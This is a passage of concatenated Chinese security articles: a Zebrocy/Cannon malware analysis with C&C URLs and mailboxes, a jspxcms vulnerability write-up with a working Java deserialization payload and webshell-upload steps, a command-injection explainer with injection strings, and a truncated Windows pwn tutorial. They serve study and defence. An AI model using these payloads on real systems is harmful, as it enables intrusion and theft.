Shell vFileName
投放到系统的Payload（SHA256：6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a）是以Delphi语言编写而成，并经过UPX加壳，实际上是Zebrocy的一个变种。Zebrocy的这一变种在功能上，非常类似于我们在今年早些时候发现Sofacy组织使用的Zebrocy中的Payload。这一Payload使用以下URL进行C&C通信：
hxxp://188.241.58[.]170/local/s3/filters.php
Zebrocy木马会收集系统上的特定信息，通过HTTP
POST请求发送到C&C服务器（也就是上述URL）。与其他Zebrocy样本一样，这一木马通过在命令行上运行SYSTEMINFO和TASKLIST，并通过遍历已连接的存储设备，来收集系统的特定信息，随后发送到C&C服务器。这一变种还会将被感染主机的屏幕截图，以JPEG图像的格式发送到C&C服务器上。然后，C&C服务器将以ASCII十六进制的形式，向信标提供辅助的Payload，木马会对其进行解码，并将解码后的内容写入如下位置：
%APPDATA%\RoamingAudiosoundfix.exe
在我们的分析过程中，发现C&C服务器还提供了一个辅助的Payload（SHA256：d18d909ee3eb65dfd49925853553c87f7fd8a40e7cebb0f342e43e0c1fbab7d7），其功能与最初的Zebrocy样本相似。辅助Payload也是使用Delphi语言编写，它是通过HTTPS协议访问以下URL，实现与C&C服务器的通信：
hxxps://200.122.181[.]25/catalog/products/books.php
## 三、新型Cannon木马分析
Cannon木马是以C#语言编写的，主要用作下载工具，以电子邮件的方式与C&C服务器进行通信。为了实现与C&C服务器的通信，木马通过TCP/587端口使用SMTPS协议向特定邮箱发送电子邮件。该工具按照特定顺序，执行以下功能：
1、收集系统信息和屏幕截图；
2、通过邮件方式，将收集的信息发送给恶意运营者；
3、检查收件箱中是否存在包含Payload的电子邮件；
4、下载电子邮件附件中的Payload；
5、执行下载的Payload。
实现上述活动的函数共有7个，具体如下。
### 3.1 start_Tick
该函数将字符串{SysPar =
65}写入名为s.txt的文件，这一文件将在木马与C&C服务器的通信过程中使用。此外，该函数还会将以下内容写入r.bat并执行该脚本，从而添加持久性：
REG ADD “HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon” /v Shell /t REG_SZ /d [path to wsslc.exe]
这一函数还会创建一个唯一的系统标识符，该标识符在C&C通信期间用于发送和接收信息。系统标识符使用C盘的序列号和Environment.UserName的前4个十六进制字节，生成16个字符的字符串。完成上述工作后，start_Tick函数启动计时器，并运行inf_Tick方法。
### 3.2 inf_Tick
该函数负责收集系统信息，并将其保存到i.ini文件中，其收集信息如下：
Application.ExecutablePath
Environment.OSVersion
Environment.SystemDirectory
Environment.UserDomainName
Environment.MachineName
Environment.UserName
TimeZone.CurrentTimeZone.StandardName
Environment.TickCount
DriveInfo.GetDrives() –
Name,VolumeLabel,DriveFormat,DriveType,TotalSize,AvailableFreeSpace,Serial
number
Folders in C:Program Files
Folders in C:Program Files (x86)
Process.GetProcesses
它将使用上述身份验证凭据登录SMTP服务器，并将i.ini文件发送到C&C邮箱。然后，inf_Tick函数启动计时器，并运行screen_Tick方法。
### 3.3 screen_Tick
该函数获取桌面的屏幕截图，并将其保存到名为sysscr.ops的文件中。它使用上述身份验证凭据登录SMTP服务器，并将sysscr.ops文件发送到C&C邮箱中。然后，screen_Tick函数启动计时器，并运行txt_Tick方法。
### 3.4 txt_Tick
木马将尝试使用trala.cosh2[at]post.cz帐户，以POP3S的方式登录pop.seznam[.]cz。如果成功，木马将遍历收件箱中的邮件，查找与唯一系统标识符匹配的任何电子邮件。如果存在，则将邮件的正文作为十六进制格式，保存到load_Tick函数将使用的变量中。木马会在阅读和处理邮件后，删除该电子邮件。
如果木马已经从电子邮件中获取了文本，它将使用上述身份验证凭据登录SMTP服务器，将s.txt文件发送到C&C邮箱。然后，txt_Tick函数启动计时器，并运行load_Tick方法。
### 3.5 load_Tick
该函数首先针对从txt_Tick函数中获取的文本，删除其中所有的“B&”和“Db”内容。然后，以%字符来分割剩余的文本，将其左侧的内容视为帐户名，其右侧的内容视为密码。木马使用这些凭据，通过POP3S登录pop.seznam[.]cz的另一个邮箱帐户，并检查以唯一系统标识符为主题的电子邮件。一旦发现匹配，木马将获取该邮件的附件，将名称中包含字符串auddevc的所有附件保存到系统中，也就是下载名为auddevc.txt的文件。此外，木马将会创建一个名为l.txt的文件，并将字符串090写入其中。
如果成功获取该文件，该函数将使用上述身份验证凭据登录SMTP服务器，并将l.txt文件发送到C&C电子邮件地址。然后，load_Tick函数启动计时器，并运行subject_Tick方法。
### 3.6 subject_Tick
该函数在功能上与txt_Tick函数非常相似，尝试使用trala.cosh2[at]post.cz帐户，以POP3S的方式登录pop.seznam[.]cz，在收件箱中再次查找与唯一系统标识符匹配的电子邮件。如果存在，则将邮件的正文作为十六进制格式，保存到run_Tick函数将使用的变量中，其内容应该是攻击者希望将load_Tick函数中保存的文件移动到的路径（也是运行路径）。
如果木马已经从电子邮件中获取了文本，它将使用上述身份验证凭据登录SMTP服务器，将s.txt文件发送到C&C邮箱。然后，subject_Tick函数启动计时器，并运行run_Tick方法。
### 3.7 run_Tick
该函数首先尝试在从subject_Tick函数获取到的路径中创建目录，然后尝试将load_Tick函数中下载的auddevc.txt文件移动到新创建的目录中。如果成功，该函数会使用上述身份验证凭据登录SMTP服务器，将I.txt文件发送到C&C邮箱。
然后，该函数尝试针对移动后的文件创建进程。如果能够成功运行下载的文件，它将使用上述身份验证凭据登录SMTP服务器，将s.txt文件发送到C&C邮箱。然后，会在退出之前删除sysscr.ops屏幕截图文件和i.ini系统信息文件。
## 四、新型Cannon木马通信过程
我们能从crash list(Lion Air Boeing 737).docx文档以及用于托管其远程模板的188.241.58[.]170 C&C
IP上找到Joohn为作者的第二个文档。从结构上来看，这一文档与第一个文档非常相似，但实际上它所附带的Payload是一个全新的恶意木马，我们将其命名为Cannon。
该工具是以C#语言编写而成的，恶意代码存在于名为cannon的命名空间中，我们由此进行了木马的命名。该木马主要用于下载程序，并通过电子邮件实现木马与C&C服务器的通信。为了与C&C服务器进行通信，该木马将通过TCP/587端口使用SMTPS协议向特定电子邮件地址发送邮件。Cannon木马的功能如下表所示，该木马高度依赖带有计时器的EventHandler来按照特定顺序运行其方法，并且以此来增强其逃避检测的能力。
Cannon的最终目的，是使用多个电子邮件帐户，向恶意活动运营者发送系统数据（系统信息和屏幕截图），并从指定的电子邮件中获取Payload。下图展现了Cannon是如何与恶意运营者控制的C&C电子邮件地址进行通信以获得辅助Payload的：
1、Cannon收集系统信息，并将其保存到ini文件中。该木马发送电子邮件到sahro.bella7[at]post.cz，并将i.ini文件作为附件，将S_inf作为正文，将唯一系统标识符作为标题，该邮件使用SMTPS协议从以下帐户之一发送：
Bishtr.cam47
Lobrek.chizh
Cervot.woprov
2、Cannon获取屏幕截图，并将其保存到ops文件中。该木马发送电子邮件到sahro.bella7[at]post.cz，并将sysscr.ops文件作为附件，将Screen字符串作为正文，将唯一系统标识符作为标题，并使用SMTPS协议从上述帐户之一发送。
3、攻击者可能会登录sahro.bella7[at]post.cz邮箱，并处理木马发送的系统信息和屏幕截图，从而确定对被感染的主机是否感兴趣。如果攻击者希望向被感染主机发送额外的Payload，他们会通过以下步骤发送电子邮件。
4、攻击者发送电子邮件到trala.cosh2[at]post.cz，以系统标识符作为标题，并在正文中包含第二个邮箱和ASCII十六进制格式的凭据。
5、攻击者向第二个邮箱发送一封邮件，以系统标识符作为标题，将辅助Payload的文件名添加txt后缀，作为附件发送。
6、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户，查找标题与唯一系统标识符匹配的电子邮件。Cannon将打开标题相符的电子邮件，并解码邮件正文中的十六进制数据，以获取第二个邮箱。
7、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经收到第二个邮箱地址，并以s.txt（包含{SysPar =
65}字符串）作为附件，正文中包含唯一的系统标识符，该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
8、攻击者发送电子邮件到trala.cosh2[at]post.cz，以唯一的系统标识符为标题，其中包含用于保存辅助Payload的文件路径。
9、Cannon通过POP3S登录第二个邮箱，查找标题与唯一系统标识符匹配的电子邮件，打开该邮件，并保存名为auddevc.txt的附件。
10、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载，其中l.txt（包含090字符串）作为附件，正文中包含ok2，标题是唯一的系统标识符，该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
11、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户，查找标题与唯一系统标识符匹配的电子邮件，打开该邮件，并解码正文中的十六进制数据，以获取用于保存auddevc.txt的文件路径。
12、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载，其中l.txt（包含{SysPar =
65}字符串）作为附件，正文中包含ok3，标题是唯一的系统标识符，该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
13、Cannon将下载的文件移动到指定的路径。
14、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载，其中l.txt（包含090字符串）作为附件，正文中包含ok4，标题是唯一的系统标识符，该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
15、Cannon从指定的路径运行下载的文件。
16、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经成功执行，并以s.txt（包含{SysPar =
65}字符串）作为附件，正文中包含ok5，该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
## 五、总结
Sofacy将目标持续瞄准欧盟、美国和前苏联国家的政府组织，并且使用Zebrocy木马作为Payload。在这些攻击中，用于安装Zebrocy的承载文档使用了远程模板，从而增加了对攻击行为进行分析的难度。Sofacy组织还利用最近的狮航空难作为其中一次攻击的诱饵，这种攻击方式展现出了他们持续利用社会工程学的倾向。
值得注意的是，我们还发现Sofacy组织使用非常相似的承载文档，提供一个名为Cannon的新型木马。与使用基于HTTP或HTTPS方式与C&C服务器通信的Zebrocy相比，Cannon使用SMTPS和POP3S作为其C&C通道。尽管这不是一种新的策略，但显然这种方法更能有效地逃避检测，因为所涉及的外部主机是合法的电子邮件服务提供商。攻击者利用了加密的SMTPS和POP3S协议，同时还利用了合法的Web服务，这样一来，对
C&C通信的阻止就变得非常困难。
## 六、IoC
运载文档哈希值：
2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392
远程模板哈希值：
f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5
fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d
远程模板位置：
hxxp://188.241.58[.]170/live/owa/office.dotm
Zebrocy哈希值：
6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a
Zebrocy C&C URL：
hxxp://188.241.58[.]170/local/s3/filters.php
hxxps://200.122.181[.]25/catalog/products/books.php
Cannon哈希值：
61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Cannon电子邮件帐户：
sahro.bella7[at]post.cz
trala.cosh2[at]post.cz
bishtr.cam47[at]post.cz
lobrek.chizh[at]post.cz
cervot.woprov[at]post.cz | 社区文章 |
## 前言
之前一直在做PHP相关的代码审计，但是PHP越来越不行了，所以开始转向学习JAVA相关的安全知识，学了快一年了，最近复现了一下jspxcms的历史漏洞，学完之后感觉很适合刚开始学习JAVA代码审计的师傅，所以总结了一下才有这篇文章。
## 环境依赖
* 系统：Windows10
* 中间件：<https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.58/bin/apache-tomcat-9.0.58-windows-x64.zip>
* 数据库：用phpstudy携带的5.7.26版本即可
* jspxcms安装包(部署到Tomcat用来复现)：<https://www.ujcms.com/uploads/jspxcms-9.0.0-release.zip>
* jspxcms源码包(部署到IDEA进行分析)：<https://www.ujcms.com/uploads/jspxcms-9.0.0-release-src.zip>
## 部署过程
##### 一、jspxcms安装包部署到Tomcat
解压好jspxcms安装包后，将Tomcat的ROOT目录替换为jspxcms的ROOT目录。
修改application.properties数据库信息，最后启动Tomcat就部署完成了。
##### 二、jspxcms源码部署到IDEA
使用IDEA打开解压好的源码目录，由于使用了SpringBoot，直接启用主程序Application即可。
## 漏洞复现
### 一、XSS
在首页随便打开一条新闻，评论需要登录，先注册一个用户，然后提交评论，使用burpsuite抓包。
查看请求包可以看到请求路径是/comment_submit，通过路径定位到源码。
在IDEA使用Ctrl+Shift+F搜索comment_submit，很容易就可以找到，在此处下断点进行调试。
重新发布一条评论，回到 IDEA，可以看到变量 text 接收了评论的内容，然后又调用了 submit。
跟进这个 submit，在调用 service 层进行业务处理的位置下断点。可以看到使用了 comment 对象的属性去保存 text 然后传递给
service.save ，text 的内容没有被改变。跟进 service.save 在调用 dao 层的位置下断点。
可以看到看到 text 的内容还是没有改变，跟到这里就行了，因为 dao
层一般只做跟数据库相关的操作，不会有任何安全处理。就这样评论的内容被写入到数据库了。
但是在文章页面并没有触发XSS，所以需要寻找是否有其他页面可以触发。在 burpsute 可以看到评论的内容在请求 /comment_list
时得到，并且该内容进行了HTML实体编码。使用 IDEA 的搜索功能查找该前端页面。
直接到实际处理数据的 list 方法下断点进行调试。跟进 site.getTemplate 可以看到前端页面路径是
/1/default/sys_comment_list.html。
查看该页面是如何做转义处理的，在 pom.xml 查看项目依赖，可以看到项目使用的前端框架是 freemarker。结合
sys_comment_list.html 的内容与说明文档可知前端页面使用了 escape 标签进行 HTML 实体编码。
那么找找跟评论相关并且没有 escape 标签的前端页面，找到了 sys_member_space_comment.html
符合条件。使用IDEA搜索，查看如何才能访问到 sys_member_space_comment.html，可以看到在
sys_member_space.html 下参数 type 等于 comment 那么 sys_member_space_comment.html
就会被包含 。
查看如何访问 sys_member_space.html，可以看到文件名被定义为常量，space 方法使用了该常量，也就是说访问路径的格式为
/space/{id} 时就能触发 XSS 了。
XSS漏洞触发效果如下所示。
### 二、SSRF
审计 SSRF 时需要注意的敏感函数：
URL.openConnection()
URL.openStream()
HttpClient.execute()
HttpClient.executeMethod()
HttpURLConnection.connect()
HttpURLConnection.getInputStream()
HttpServletRequest()
BasicHttpEntityEnclosingRequest()
DefaultBHttpClientConnection()
BasicHttpRequest()
#### 第一处 SSRF：
直接使用 IDEA 搜索敏感函数，找到一处使用了 HttpClient.execute() 的方法 fetchHtml()，它被当前类的另一个
fetchHtml() 调用。
在 fetchUrl() 调用了 fetchHtml()，并且这个方法可以直接被 HTTP 访问。
使用 python 开启一个简易的 http 服务进行测试，测试效果如下所示，成功触发 SSRF。
#### 第二处 SSRF：
搜索 openConnection ，可以看到在方法 ueditorCatchImage() 下，参数 source[] 直接可控，当执行到
conn.getContentType().indexOf("image") 时就会去请求相应的资源。
搜索调用 ueditorCatchImage() 方法的位置，可以看到访问路径为 /ueditor，action 参数需要等于 catchimage。
构造 payload 触发漏洞，如下所示成功触发 SSRF。
### 三、RCE
#### 第一处 反序列化RCE
在审计 RCE 时需要先查看项目使用了哪些依赖包，可以看到项目中的依赖包符合 ysoserial 中的 CommonsBeanutils1
的条件，但是依赖包版本有一些差异。
我们直接在项目中创建一个 test 类进行测试，查看反序列化是否能成功执行，我在测试时发现反序列 ysoserial 的 CommonsBeanutils1
并不能成功，然后我使用之前跟p牛学的payload可以成功弹出计算器，如下图所示。
**Payload：**
package com.jspxcms.core.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwAGQAaBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAFSGVsbG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAwACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAEwAEABQADQAVAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("x");
queue.add("x");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt"));
out.writeObject(queue);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("src\\main\\java\\com\\jspxcms\\core\\test\\ser.txt"));
in.readObject();
in.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
经过测试反序列漏洞是可以利用的，现在需要一处接收反序列化数据触发漏洞的点。继续查看依赖包发现使用了 Apache Shiro 并且版本小于
1.4.2，可以利用 Shiro-721。这里我使用 <https://github.com/inspiringz/Shiro-721> 进行测试。
爆破出可以攻击的 rememberMe Cookie 大概需要一个多小时，如下界面所示。
进行测试成功弹出计算器，反序列化 RCE 利用成功。
#### 第二处 文件上传RCE
这个漏洞在文件管理的压缩包上传功能，上传的压缩包会被自动解压，如果我们在压缩包中放入 war 包并配合解压后目录穿越 war 包就会被移动到 tomcat
的 webapps 目录，而 tomcat 会自动解压 war 包。
这里我使用冰蝎的 jsp webshell [冰蝎下载链接](https://github.com/rebeyond/Behinder
"冰蝎下载链接")，将 webshell 打包成 war 包。
然后将 war 包打包成压缩文件。
注意：这里测试需要启动 tomcat 做测试，而不是 IDEA 的 SpringBoot，否则可能无法成功。
上传完之后连接 webshell 成功 RCE。
分析漏洞产生的原因，抓取文件上传的请求包，通过请求路径使用 IDEA 定位到代码。
到 super.zipUpload 处下断点进行调试，继续跟入 AntZipUtils.unzip(）。
可以看到文件名没有做安全处理，执行到 fos.write 时 shell.war 就被写入到 tomcat 的 webapps
目录了，这里的目录名不太对劲，因为是在 IDEA 启动 SpringBoot 进行调试的，无须在意，分析到这里就结束了。
为什么不直接上传 jsp 文件 getshell 呢？我们试一下，发现响应 404 文件不存在，并且文件路径前加了 /jsp。
通过调试发现 JspDispatcherFilter.java 会对访问的 jsp 文件路径前加 /jsp，这就是不直接上传 jsp 文件
getshell的原因。而我们使用压缩包的方式会将 shell.war 解压到 tomcat 的 webapps
目录，这相当于一个新的网站项目JspDispatcherFilter.java 是管不着的。
## 参考资料
书籍：JAVA代码审计（入门篇）
<https://www.freebuf.com/articles/others-articles/229928.html>
<https://www.cnblogs.com/xiaozi/p/13239046.html> | 社区文章 |
最近做测试的时候，发现不同平台/语言下命令注入的结果会有一定的不同，于是尝试对命令注入的成因做了一个更细致的探索。
## 语言实现
### PHP
PHP命令执行的函数很多，其中大部分函数的实现都在 `php-src/ext/standard/exec.c` 中:
* system
* exec
* passthru
* proc_open
* shell_exec
其中 system / exec / passthru 的实现调用链都是 `php_exec_ex -> php_exec -> VCWD_POPEN` 。
proc_open 的实现在 `php-src/ext/standard/proc_open.c` 中，调用 `execle / execl` 执行
`/bin/sh -c` 。
popen的实现在 `php-src/ext/standard/file.c` 中，和 shell_exec 一样直接调用 `VCWD_POPEN` 。
pcntl_exec 的实现在 `php-src/ext/pcntl/pcntl.c` 中，调用 `execve` 执行 `/bin/sh -c`。
而 `VCWD_POPEN` 定义在 `Zend\zend_virtual_cwd.h` 中，根据编译配置有两种实现：
#define VCWD_POPEN(command, type) virtual_popen(command, type)
// or
#define VCWD_POPEN(command, type) popen(command, type)
其中 virtual_popen 在 `Zend/zend_virtual_cwd.c` 中
CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
return popen_ex(command, type, CWDG(cwd).cwd, NULL);
}
所以PHP中的命令执行大都只是对popen做了不同程度和形式的封装。
可以用下面这个小demo来做简单验证：
<?php
system('id');
echo exec('id');
passthru('id');
echo shell_exec('id');
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open('id', $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return = proc_close($process);
}
$handle = popen('/usr/bin/id 2>&1', 'r');
$read = fread($handle, 4096);
echo $read;
pclose($handle);
pcntl_exec('/usr/bin/id');
执行 `strace -f -e trace=execve php 1.php` 可以看到6次 `execve("/bin/sh", ["sh",
"-c"...` 的调用。
### Java
Java执行系统命令使用 `Runtime.getRuntime().exec` 。JDK实现 `Runtime.getRuntime().exec`
实际调用了 `ProcessBuilder` ，而后 `ProcessBuilder` 调用 `ProcessImpl` 使用系统调用 `vfork`
，把所有参数直接传递至 `execve` 。
但是和PHP不同的是，Java并没有调用 `popen` ，也没有给 `execve` 传入 `sh -c` ，而是直接把参数传递至 `execve` 。
一个简单的demo如下
import java.io.*;
public class Main {
public static void main(String[] args) {
String [] cmd={"/usr/bin/id", "&&", "/usr/bin/id"};
try {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine()) != null)
{
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
用 `strace -f -e vfork,execve java Main` 跟踪可以看到上面的Java代码在Linux中调用为
execve("/usr/bin/id", ["/usr/bin/id", "&&", "/usr/bin/id"], [/* 22 vars */]
### Python
跟踪程序的具体实现需要相对多的精力和时间，有一个相对简单的方式是直接使用 `strace` 跟踪，例如Python常用的调用是 `os.system` 和
`subprocess.check_output` 。
import os
import subprocess
os.system('id')
subprocess.check_output('id')
那么执行 `strace -f -e vfork,execve python t.py` ，可以发现 `system` 对应
`execve("/bin/sh", ["sh", "-c", "id"]` ，而 `subprocess.check_output` 对应
`execve("/usr/bin/id"` 。
## 系统调用
简单对语言实现层面做了一个了解后，不难看出，大部分语言在Linux平台下，系统调用会调用 `popen` ，而Windows平台下则是
`CreateProcess` ，而 `popen` 和 `CreateProcess` 的实现则是造成不同场景下命令注入有轻微不同的原因。
### popen
popen是libc中的函数，当前版本的glibc中，popen的实现在 `libio/iopopen.c` 中的 `_IO_new_popen`
函数。这个函数的调用链是： `_IO_new_popen -> _IO_new_proc_open -> spawn_process ->
__posix_spawn` 最后调用了 `sh -c` 。 `sh -c`
会将之后传入的字符串当作命令执行，所以在没有做过滤的情况下，PHP的系统调用，Python的 `os.system` 都会出现问题。
这里有一个细节是，sh会指向 `/bin/sh` ，在当前版本的Linux中，`/bin/sh` 默认指向 `/bin/dash` 。 `dash`
编译文件的大小大概在150k左右，而我们常用的 `bash` 大小在 1000k 左右，很直觉的，`bash` 的功能会更丰富一些。
例如 dash 中没有 function 关键字支持，不支持 here string，不支持 数组，dash 不支持 ++
操作符等，这会在一些利用了bash特性的复杂payload中造成一些不同。
还有一点需要注意的是虽然 Windows 中也提供了 `_popen` 作为POSIX的兼容，但是在Windows平台中， `_popen` 最后调用的是
`CreateProcess` ，因而与 Linux 平台下的表现有一定的出入。
### CreateProcess
上面提到在Windows中，调用链的底层会最后创建进程使用的是 `CreateProcess`
，在普通情况下，这个函数即使不转义也不会出现问题，但是根据Windows文档，当 `CreateProcess` 中的第一个参数为 bat 文件或是 cmd
文件时，会调用 `cmd.exe` 。所以当调用的参数第一个是bat文件时，会变成类似 `cmd.exe /c "test.bat & id"`
的调用，这样就会和 `sh -c` 一样引入了命令注入的潜在可能。
例如 `String [] cmd={"whoami", "&", "whoami"};` 并不会正确执行，这里相当于把 `&` 作为了 whoami
的参数传递了。而 `String [] cmd={"sth.bat", "&", "whoami", "&", "whoami"};` 则会执行两次
`whoami` 。
还有一个需要注意的特性是，和Linux不同，Windows在处理参数方面有一个特性，如果这里只加上简单的转义还是可能被绕过。例如 `<?php
system('dir "\"&whoami"');` 在Linux中会报错，而在Windows会执行 `dir` 和 `whoami` 两条命令。
这是因为Windows在处理命令行参数时，会将 `"` 中的内容拷贝为下一个参数，直到命令行结束或者遇到下一个 `"` ，但是对 `\"`
的处理有误。因此在调用批处理或者cmd文件时，需要做合适的参数检查才能避免漏洞出现。
## 参考链接
* git://git.kernel.org/pub/scm/utils/dash/dash.git
* <http://git.savannah.gnu.org/cgit/bash.git/>
* <https://hg.openjdk.java.net/jdk/jdk>
* <https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw>
* <https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/popen-wpopen?view=vs-2019>
* <https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/> | 社区文章 |
> 上两节都是保护机制几乎都没开的情况下，这一节就开始学习绕过ASLR和GS
之前的文章链接：
* [win pwn初探（一）](https://xz.aliyun.com/t/11865)
* [win pwn初探（二）](https://xz.aliyun.com/t/11891)
# win pwn初探（三）
这里以强网杯2020的[easyoverflow](https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip)来练习学习
## 查看保护
没有开SafeSEH和CFG，其他重要的保护都开了
## 程序分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
int v6; // ebx
char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF
v3 = _acrt_iob_func(0);
setbuf(v3, 0i64);
v4 = _acrt_iob_func(1u);
setbuf(v4, 0i64);
v5 = _acrt_iob_func(2u);
setbuf(v5, 0i64);
v6 = 3;
do
{
--v6;
memset(DstBuf, 0, sizeof(DstBuf));
puts("input:");
read(0, DstBuf, 0x400u);
puts("buffer:");
puts(DstBuf);
}
while ( v6 > 0 );
return 0;
}
这个程序很简单，read这里的DstBuf，可以输入0x400大小的数据，而DestBuf是256的空间，所以存在一个栈溢出漏洞
## 漏洞利用
### 泄露StackCookie
在CTF的PWN中，因为有canary的存在，所以先泄露出canary，再泄露出程序基地址，最后利用ret2libc3即可攻击成功
在win中的利用也很相似，首先需要泄露出`StackCookie`这个东西，看一下汇编，这个东西是怎么放入程序的一些地址中的
push rbx
sub rsp, 130h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+138h+var_18], rax
在程序开头会将`__security_cookie`放入rax，然后与rsp进行异或，之后把异或的结果（`StackCookie`）存放在`rsp +
138h + var_18`中，再看一下程序的最后
xor eax, eax
mov rcx, [rsp+138h+var_18]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 130h
pop rbx
retn
程序结束前会把`rsp + 138h +
